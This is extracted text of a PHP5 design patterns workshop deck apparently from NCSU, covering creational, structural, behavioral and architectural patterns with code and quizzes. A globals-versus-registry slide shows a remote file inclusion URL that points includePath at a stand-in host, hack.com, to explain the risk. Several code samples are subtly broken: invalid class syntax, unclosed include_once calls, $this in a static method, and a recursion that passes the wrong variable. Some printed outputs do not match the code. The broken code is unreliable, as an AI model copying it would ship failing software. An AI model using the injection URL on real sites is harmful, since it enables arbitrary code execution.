1. Design Patterns
with PHP5
Outreach Technology - Office of Information Technology
Jason Austin
Senior Solutions Implementation Engineer
jason_austin@ncsu.edu
Garrison Locke
Lead Dynamic Functionality Specialist
garrison_locke@ncsu.edu
2. Why are you here?
Specific project you are working on?
Just curious?
Our tractor-beam of PHP goodness?
3. Why are we here?
We were “LOST”
No real-world
examples
4. This presentation will...
... introduce several design patterns
... tell you how they work
... tell you why you would want to use them
... show you actual code in a working example
5. Before we begin...
You should have a working knowledge of
object oriented principles
We will be using PHP5 as our language of
choice
Slides are available on ClassMate at
http://webapps.ncsu.edu/classmate/
8. History of Design Patterns
Originated as architectural concept by
Christopher Alexander
A Pattern Language: Towns, Buildings,
Construction - 1977
Inspired the Design Pattern movement
9. What is a design pattern?
If there was a problem,
Yo! I’ll solve it...
Checkout the hook,
while my DJ revolves it.
- Robert Van Winkle (Vanilla Ice)
10. Ice Ice Baby -
Programmers Remix
If you got a programming problem,
Yo! Someone’s solved it...
Checkout these patterns,
And they’ll help ya resolve it.
- The smooth stylings of Outreach Technology
11. Fo’ serious...
General reusable solution to a common
problem
Show relations and interactions between
objects
Specifically deal with software design
12. Design patterns are NOT...
... related to Vanilla Ice
... specific pieces of code
... algorithms
... programming language-specific
13. Why use design patterns?
“Do you understand the words that are comin outta my mouth?“
14. Why use design patterns?
“If you ain’t first, you’re last”
15. Why use design patterns?
“You are not special. You are not a beautiful or unique snowflake.”
16. Where do I start?
Before using a design pattern, you must ...
... understand your problem
... understand the pattern
... understand how the pattern solves your
problem
17. Design Pattern Myths
“Because I used a design
pattern, my code is well
designed.”
“Using a design pattern is
always best.”
“If I use a design pattern, I
will be as awesome as
Jason and Garrison.”
18. Gang of Four (GoF)
“Design Patterns: Elements of Reusable Object-
Oriented Software” - ISBN 0-201-63361-2
Erich Gamma
Richard Helm
Ralph Johnson
John Vlissides
23. Abstract Factory
Factory method defines what functions must
be available in each factory
The factory used is dependent on a single
variable
Polymorphism FTW!
24. How’s it work?
An abstract class is created with a collection of
methods
Multiple worker classes are created that
implement the abstract class
Abstract
Class
Worker Class
Worker Class
Worker Class
...
25. How’s it work?
The client requests a new object
The Factory, using logic, returns a new instance
of the correct worker classes
Client Factory
Worker Class
Worker Class
Worker Class
...
26. Why would I use this?
Single function call to get any type of class
Let’s the logic live in a single place (Factory)
Easy to add additional logic later
27. Problem:
You need to write an application which can create
thumbnails of images. Any type of image can be
passed.
28. Solution: Abstract Factory
<?php
abstract class ImageReaderAbstract
{
abstract function readImage($image);
}
class ImageReaderJpg extends ImageReaderAbstract
{
public function readImage($image)
{
//do magic to read jpg
return $image;
}
}
class ImageReaderGif extends ImageReaderAbstract
{
public function readImage($image)
{
//do magic to read gif
return $image;
}
}
....
29. Solution: Abstract Factory
<?php
class MyImageFactory
{
public function getReader($image)
{
$imageType = $this->getImageType($image);
$reader = null;
switch ($imageType) {
case ‘jpg’:
$reader = new ImageReaderJpg();
break;
case ‘gif’:
$reader = new ImageReaderGif();
break;
default:
die(‘image type not defined’);
}
return $reader;
}
...
}
$factory = new MyImageFactory();
// Return ImageReaderJpg() instance
$image1 = $factory->getReader($someJpeg);
// Return ImageReaderGif() instance
$image2 = $factory->getReader($someGif);
32. How’s it work?
Define a class
Overwrite its ability to create new instances of
itself or to clone itself
Provide interface to create a single instance of
itself, then return that single instance when it’s
called again.
33. Why would I use this?
Keep overhead low
IE: Database Connections
Ensure all calls from a client interact with the
same object, preventing data inconsistency
34. Problem:
Your application requires you to access certain
objects and variables from multiple classes.
Because of the issues with using global
variables, you want to implement a registry.
35. Rant: Why not globals?
<?php
$myVar = ‘Hello World’;
testGlobal();
function testGlobal()
{
// Produces an error because $myVar is undefined
echo $myVar;
// imports $myVar into the local scope
global $myVar;
// now this works!
echo $myVar;
}
Reusing parts of the script is impossible
Tracing the code is much harder
Understanding the code later is harder
36. Security Implications
In PHP <= 5.0.5, it is possible to overwrite the
global space from outside when
register_globals is turned on
Allow for SQL injection attacks and execution
of arbitrary PHP code
37. Registry Pattern
Allows the storing and retrieval of data (and
objects) which need to be accessed globally
Can be a Singleton, but doesn’t have to be
38. Back to the Problem:
Your application requires you to access certain
objects and variables in multiple classes.
Because of the issues with using global
variables, you want to implement a registry.
39. Solution: Singleton
<?php
class Registry
{
private static $_instance = null;
private $_data = array();
private function __construct() {}
private function __clone() {}
public static function getInstance()
{
if (is_null(self::$_instance)) {
self::$_instance = new self;
}
return self::$_instance;
}
public function set($var, $val)
{
$this->_data[$var] = $val;
}
public static function get($var)
{
return $this->_data[$var];
}
}
40. Solution: Singleton
<?php
class myObject
{
public function __construct()
{
$registry = Registry::getInstance();
$registry->set(‘myVar’, ‘test’);
}
}
$obj = new myObject();
$registry = Registry::getInstance();
$myVar = $registry->get(‘myVar’);
echo “myVar is set to “ . $myVar;
?>
myVar is set to test
41. Registry v/s Globals
<?php
$registry = Registry::getInstance();
$registry->set(‘includePath’, ‘/inc/path’);
class myObject()
{
public function __construct()
{
$registry = Registry::getInstance();
include_once($registry->get(‘includePath’) .
‘/include.php’;
}
}
// will include ‘/inc/path/include.php’
$obj = new myObject();
<?php
$includePath = ‘/inc/path’;
class myObject()
{
public function __construct()
{
include_once($GLOBALS[‘includePath’] .
‘/include.php’;
}
}
// will include ‘/inc/path/include.php’
$obj = new myObject();
42. Registry v/s Globals
<?php
$registry = Registry::getInstance();
$registry->set(‘includePath’, ‘/inc/path’);
class myObject()
{
public function __construct()
{
$registry = Registry::getInstance();
include_once($registry->get(‘includePath’) .
‘/include.php’;
}
}
// will still include ‘/inc/path/include.php’
$obj = new myObject();
<?php
$includePath = ‘/inc/path’;
class myObject()
{
public function __construct()
{
include_once($GLOBALS[‘includePath’] .
‘/include.php’;
}
}
// will include ‘http://www.hack.com/include.php’
$obj = new myObject();
http://www.yoursite.com/file.php?includePath=http://www.hack.com
43. Duplicating Singleton
<?php
$registry = Registry::getInstance();
// Throws an exception as well
$newRegistry = clone $registry;
<?php
// Throws an exception...don’t do it this way!
$registry = new Registry();
46. How’s it work?
Create a standard object
(the prototype)
Clone that object to create
new instances
47. Why would I use this?
Less resource intensive than creating new
objects
Good when you don’t know the
implementation details of the original object
48. Problem:
You are writing an application for a veterinary
hospital which deals with lots of dogs and cats.
49. Answer: Prototype
<?php
abstract class AnimalPrototype {
protected $species;
protected $type;
abstract function __clone();
public function getSpecies()
{
return $this->species;
}
public function getType()
{
return $this->type;
}
public function setType($type)
{
$this->type = $type;
}
}
?>
<?php
class DogPrototype extends AnimalPrototype {
public function __construct()
{
$this->species = ‘Canine’;
}
public function __clone(){}
}
class CatPrototype extends AnimalPrototype {
public function __construct()
{
$this->species = ‘Feline’;
}
public function __clone(){}
}
?>
50. Answer: Prototype
<?php
$dogPrototype = new DogPrototype();
$catPrototype = new CatPrototype();
$fido = clone $dogPrototype;
$fido->setType(‘Border Collie’);
$spot = clone $dogPrototype;
$spot->setType(‘Lab’);
$fluffy = clone $catPrototype;
$fluffy->setType(‘Tabby’);
echo “Fido is a “ . $fido->getSpecies() . “ that is a “ . $fido->getType() . “.<br />”;
echo “Spot is a “ . $spot->getSpecies() . “ that is a “ . $spot->getType() . “.<br />”;
echo “Fluffy is a “ . $fluffy->getSpecies() . “ that is a “ . $fluffy->getType() . “.<br />”;
?>
Fido is a Canine that is a Border Collie.
Spot is a Canine that is a Lab.
Fluffy is a Feline that is a Tabby.
54. Adapter Pattern
Also referred to as the “Wrapper Pattern”
Converts the interface of one class to be what
another class expects
55. How’s it work?
Create a class with some functionality
Create another class (the adapter) that is aware
of the original classes functionality, and then
implements it’s own
Query the adapter to retrieve information
about the original class
56. Why would I use this?
Allows interactivity between classes that
normally would be incompatible
Abstracts methodology away from your client
class
57. Problem:
You are writing an application that requires you
to access a database. You want to be flexible in
your approach so that any type of database can
be used without changing much functionality in
your code
58. Solution: Adapter
<?php
interface AdapterInterface
{
public function __construct($u, $p, $h, $d);
public function select($query);
}
class MysqlAdapter implements AdapterInterface {
protected $_link = null;
public function __construct($u, $p, $h, $d)
{
$this->_link = mysql_connect($h, $u, $p);
mysql_select_db($d);
}
public function select($query)
{
return mysql_query($query, $this->_link);
}
}
<?php
class Database {
protected $_db;
public function __construct(AdapterInterface $db)
{
$this->_db = $db;
}
public function fetch($query)
{
return $this->_db->select($query);
}
}
59. Solution: Adapter
<?php
$myConnection = new MysqlAdapter(‘user’, ‘password’, ‘http://mysql.ncsu.edu’, ‘my_database’);
$db = new Database($myConnection);
$query = “SELECT * FROM tbl_users”;
$result = $db->fetch($query);
66. How’s It Work?
Create a class
Contains all functionality needed, whether it
is a leaf or a composite
Create multiple instances of the class
Assign the classes to each other in a tree-like
manor
67. Why would I use this?
Great way to deal with tree-structured data
Don’t have to discriminate between leafs and
branches
68. Problem:
You are creating an application to manage
employees in a company. Within that company,
there is a hierarchy of managers and employees.
69. Solution: Composite
<?php
class Employee {
protected $_name = ‘’;
protected $_subordinates = array();
public function __construct($name)
{
$this->_name = $name;
}
public function getName()
{
return $this->_name;
}
public function addSubordinate(Employee $subordinate)
{
$this->_subordinates[] = $subordinate;
}
public function removeSubordinate($position)
{
unset($this->_subordinates[$position]);
}
public function getSubordinate($position = null)
{
if (is_null($position)) {
return $this->_subordinates;
}
return $this->_subordinates[$position];
}
public function hasSubordinates()
{
return (count($this->_subordinates) != 0);
}
}
70. Solution: Composite
<?php
$bob = new Employee(‘Bob’);
$frank = new Employee(‘Frank’);
$sue = new Employee(‘Sue’);
$jess = new Employee(‘Jess’);
$larry = new Employee(‘Larry’);
$bob->addSubordinate($frank);
$bob->addSubordinate($sue);
$jess->addSubordinate($bob);
$jess->addSubordinate($larry);
echo $jess->getName() . ‘ has these subordinates:<br />’;
echo processSubordinates($jess);
function processSubordinates(Employee $e) {
$subordinates = $e->getSubordinate();
$str = ‘<ul>’;
foreach ($subordinates as $s) {
$str .= ‘<li>’ . $s->getName() . ‘</li>’;
if ($s->hasSubordinates()) {
$str .= processSubordinates($e);
}
}
$str .= ‘</ul>’;
return $str;
}
Jess has the following subordinates:
•Bob
•Frank
•Sue
•Larry
72. Decorator Pattern
Allows new or additional behavior to be
added to an existing class dynamically
Different from subclassing
Subclassing would add the functionality to
all instances of an object
A decorator can add functionality to a
single instance of an object
73. How’s it work?
A concrete class is created
A standard decorator class (or interface) is created,
which has knowledge of the concrete class
Additional decorators are created that extend the
functionality of the standard decorator
The client uses the decorators to do different things
to the concrete class
74. Why would I use this?
Add responsibilities to individual objects, not
an entire class
Because functionality can be added to an
individual object and not the whole class, you
have less overhead
75. Problem:
You are writing an application where you want
to display user’s name in different ways.
76. Solution: Decorator
<?php
class Person {
protected $_name = ‘’;
public function __construct($name)
{
$this->_name = $name;
}
public function getName()
{
return $this->_name;
}
}
<?php
class PersonDecorator {
protected $_person = null;
public function __construct(Person $person)
{
$this->_person = $person;
}
public function showName()
{
return $this->_person->getName();
}
}
77. Solution: Decorator
<?php
class PersonBoldDecorator extends PersonDecorator {
public function showName() {
return “<b>” . parent::showName() . “</b>”;
}
}
class PersonItalicsDecorator extends PersonDecorator {
public function showName() {
return “<i>” . parent::showName() . “</i>”;
}
}
class PersonUnderlineDecorator extends PersonDecorator {
public function showName() {
return “<u>” . parent::showName() . “</u>”;
}
}
78. Solution: Decorator
<?php
$randy = new Person(‘Randy Randyface’);
$b = new PersonBoldDecorator($randy);
$i = new PersonItalicsDecorator($randy);
$u = new PersonUnderlineDecorator($randy);
echo “Bold: “ . $b->showName() . “<br />”;
echo “Italics: “ . $i->showName() . “<br />”;
echo “Underline: “ . $u->showName() . “<br />”;
?>
Bold: Randy Randyface
Italics: Randy Randyface
Underline: Randy Randyface
82. Interpreter Pattern
Allows you to define a custom language
Parses requests based on that language
Assigns appropriate action to handle the
request
83. How’s it work?
A class acts as an interpreter
They know the language
The know how to translate from the given
language to their language
Another class asks the interpreter to translate
The interpreter translates and returns the
translation
84. Why would I use this?
Provides standardized communication
between components, no matter what the
language
Standardizes a communication method
85. Problem:
You are writing an application, and you would
like your administrator to customize the emails
that are sent to a list of users
86. Solution: Interpreter
<?php
class Person
{
public $name;
public $email;
public function __construct($name, $email)
{
$this->name = $name;
$this->email = $email;
}
}
class MessageInterpreter
{
public function interpret($message, $person)
{
$data = array(‘name’,’email’);
foreach ($data as $d) {
$message = str_replace(
“[[$d]]”,
$person->$d,
$message);
}
return $message;
}
}
<?php
$message = “Dear [[name]], “ .
“Your email address is [[email]].<br />”;
$people = array(
new Person(‘joe’, ‘joe@home.net’),
new Person(‘sarah’, ‘sarah@aol.com’),
new Person(‘pat’, ‘pat@snl.com’)
);
$i = new MessageInterpreter();
foreach ($people as $p) {
echo $i->interpret($message, $p);
}
?>
Dear joe, Your email address is joe@home.net.
Dear sarah, Your email address is sarah@aol.com.
Dear pat, Your email address is pat@snl.com.
88. Iterator Pattern
Allows a class to traverse the elements of
another class
Allows encapsulation of the internal structure
of how iteration occurs.
Provides common interface for traversing
multiple types of collections
90. Iterator with PHP5
PHP5 provides an Iterator interface
<?php
interface Iterator
{
// Returns the current value
function current();
// Returns the current key
function key();
// Moves the internal pointer to the next element
function next();
// Moves the internal pointer to the first element
function rewind();
// If the current element is not at all valid (boolean)
function valid();
}
92. Problem:
You are writing an application in which you
have a group of people, all managed within a
central object. You want to get the individual
people from the group so you can print their
information.
93. Solution: Iterator
<?php
class Person
{
protected $_name;
protected $_email;
public function __construct($name, $email)
{
$this->_name = $name;
$this->_email = $email;
}
public function getName()
{
return $this->_name;
}
public function getEmail()
{
return $this->_email;
}
}
<?php
class MyIterator implements Iterator
{
protected $_data;
public function __construct(Array $data)
{
$this->_data = $data;
}
public function rewind()
{
reset($this->_data);
}
public function current()
{
return current($this->_data);
}
public function key()
{
return key($this->_data);
}
public function next()
{
return next($this->_data);
}
public function valid()
{
return ($this->current() !== false);
}
}
94. Solution: Iterator
<?php
class PersonCollection implements IteratorAggregate
{
protected $_people = array();
public function getIterator() {
return new MyIterator($this->_people);
}
public function add(Person $person)
{
$this->_people[] = $person;
}
}
$people = new PersonCollection();
$people->add(new Person(‘joe’, ‘joe@home.net’));
$people->add(new Person(‘sarah’, ‘sarah@aol.com’));
$people->add(new Person(‘pat’, ‘pat@snl.com’));
foreach ($people as $p) {
echo $p->getName() . ‘ ‘ . $p->getEmail() . ‘<br />’;
}
?>
joe joe@home.net
sarah sarah@aol.com
pat pat@snl.com
96. Observer Pattern
Allows one object to notify another when it
changes state
Allows you to avoid tight coupling between
objects
2 parts
Listeners (or Observers)
Subject
97. How’s it work?
Listeners all implement the same interface
A subject allows listeners to be registered
Whenever an event happens in the subject, the
registered listeners are notified via the method
set in the interface
The subject has no idea (nor does it care) what
the listener does with the information
98. Why would I use this?
Extend standard functionality of your
application
De-couple modules in the application
100. Observer Example
<?php
interface PersonObserver
{
public function notify(Person $person);
}
class EmailObserver implements PersonObserver
{
public function notify(Person $person)
{
echo “Sending message to “ .
$person->getName() .
“ at “ .
$person->getEmail() .
“.<br />”;
// send mail
}
}
<?php
interface PersonObservable
{
public function addObserver(PersonObserver $o);
}
class PersonCollection implements PersonObservable
{
protected $_observers = array();
protected $_people = array();
public function addObserver(PersonObserver $o)
{
$this->_observers[] = $o;
}
public function add(Person $person)
{
$this->_people[] = $person;
foreach ($this->_observers as $o) {
$o->notify($person);
}
}
}
101. Observer Example
<?php
class Person
{
protected $_name;
protected $_email;
public function __construct($name, $email)
{
$this->_name = $name;
$this->_email = $email;
}
public function getName()
{
return $this->_name;
}
public function getEmail()
{
return $this->_email;
}
}
<?php
$people = new PersonCollection();
$people->addObserver(new EmailObserver());
$people->add(new Person(‘joe’, ‘joe@home.net’));
$people->add(new Person(‘sarah’, ‘sarah@aol.com’));
$people->add(new Person(‘pat’, ‘pat@snl.com’));
?>
Sending message to joe at joe@home.net.
Sending message to sarah at sarah@aol.com.
Sending message to pat at pat@snl.com.
103. Quiz Question 1
What are the three design pattern categories?
• Creational
• Structural
• Behavioral
104. Quiz Question 2
What three things should you do before
implementing a design pattern solution?
• Understand the problem
• Understand the design pattern
• Understand how the design pattern solves my problem
105. Quiz Question 3
Which creational pattern would be appropriate
for the following scenario:
You are writing an application that will connect to a
database. You need to have a database connection
open to talk to the database.
Singleton!
106. Quiz Question 4
Which structural pattern would be appropriate
for the following scenario:
You are writing an application for a family tree. Each
member of each generation should be displayed, and
link any children to them.
Composite!
107. Quiz Question 5
Which behavioral pattern would be appropriate
for the following scenario
You are writing a blog and you want to update an RSS
feed every time you add a new post.
Observer
108. Quiz Question 6
True or False: The decorator pattern is a
creational design pattern.
False - Decorator is structural
109. Quiz Question 7
True or False: You can use multiple different
design patterns at a time.
True!
110. Quiz Question 8
Which of the following is NOT a song
performed by Vanilla Ice?
Ninja Rap
Havin’ A Roni
The Duece is Loose
Rosta Man
111. Quiz Question 8
Which of the following is NOT a song
performed by Vanilla Ice?
Ninja Rap
Havin’ A Roni
The Duece is Loose
Rosta Man
114. What are Architectural patterns?
Patterns which help with overall application
design.
Help define...
... how the application is structured
... how the pieces of the application
communicate with each other
Targeted to solve different types of problems
115. Architectural v/s Design
Architectural patterns target the entire
application
Design patterns target functionality within the
application
They are NOT mutually exclusive
116. Why would I use these?
Proven foundation on which to develop
Code readability and portability
Speed up development process
117. Types of Architectural Patterns
Model-View-Controller (MVC)
Service Oriented Architecture (SOA)
more...
122. MVC: Controllers
Act as a middle man
Takes input from the views which invoke
changes in the models
123. How’s it work?
A user interacts with the view (clicks a button)
Controller gets input from the event
Controller notifies the model of an event
The model might change state based on the event
The controller tells the view what the model changed
Rinse, repeat...
124. Why would I use this?
De-couples user interface from the business logic
Easily change the user interface without modifying
the business logic
Easily change the business logic without modifying
the user interface
Allows graphic designers to design while programmers
program
125. This seems complicated...
It is....to begin with
Existing frameworks help a lot
Zend Framework
CakePHP
Complete OO solution
Take our MVC With Zend Framework class
129. SOA: Service Provider
Creates a web service
Can publish its interface and provides access
information to the Service Broker
Determines which services to expose
130. SOA: Service Broker
AKA Service Registry
Responsible for making the service available to
any Service Requester
Connects the Requester to the Provider
132. How’s it work?
A Provider decides to expose some of its components as
a web service
The Provider registers with the Broker
A Requester requests the service from the Broker
The Broker connects the Requester to the Provider
The Requester uses the service provided by the Provider
133. Why would I use this?
Expose part of your application to another
application
API - Application Programming Interface
Allow one application to use data from another
without having intimate knowledge of its data
structure
137. Quiz Question 9
True or False: Architecture patterns are just
collections of multiple design patterns.
False
138. Quiz Question 10
What are the advantages of using an
Architectural Pattern?
Proven foundation on which to develop
Code readability and portability
Speed up development process
143. Evaluations!
Please fill out the evaluations for this
workshop at
http://webapps.ncsu.edu/classmate/
Click on “My Appointments” and find this
workshop.
Click “Evaluate”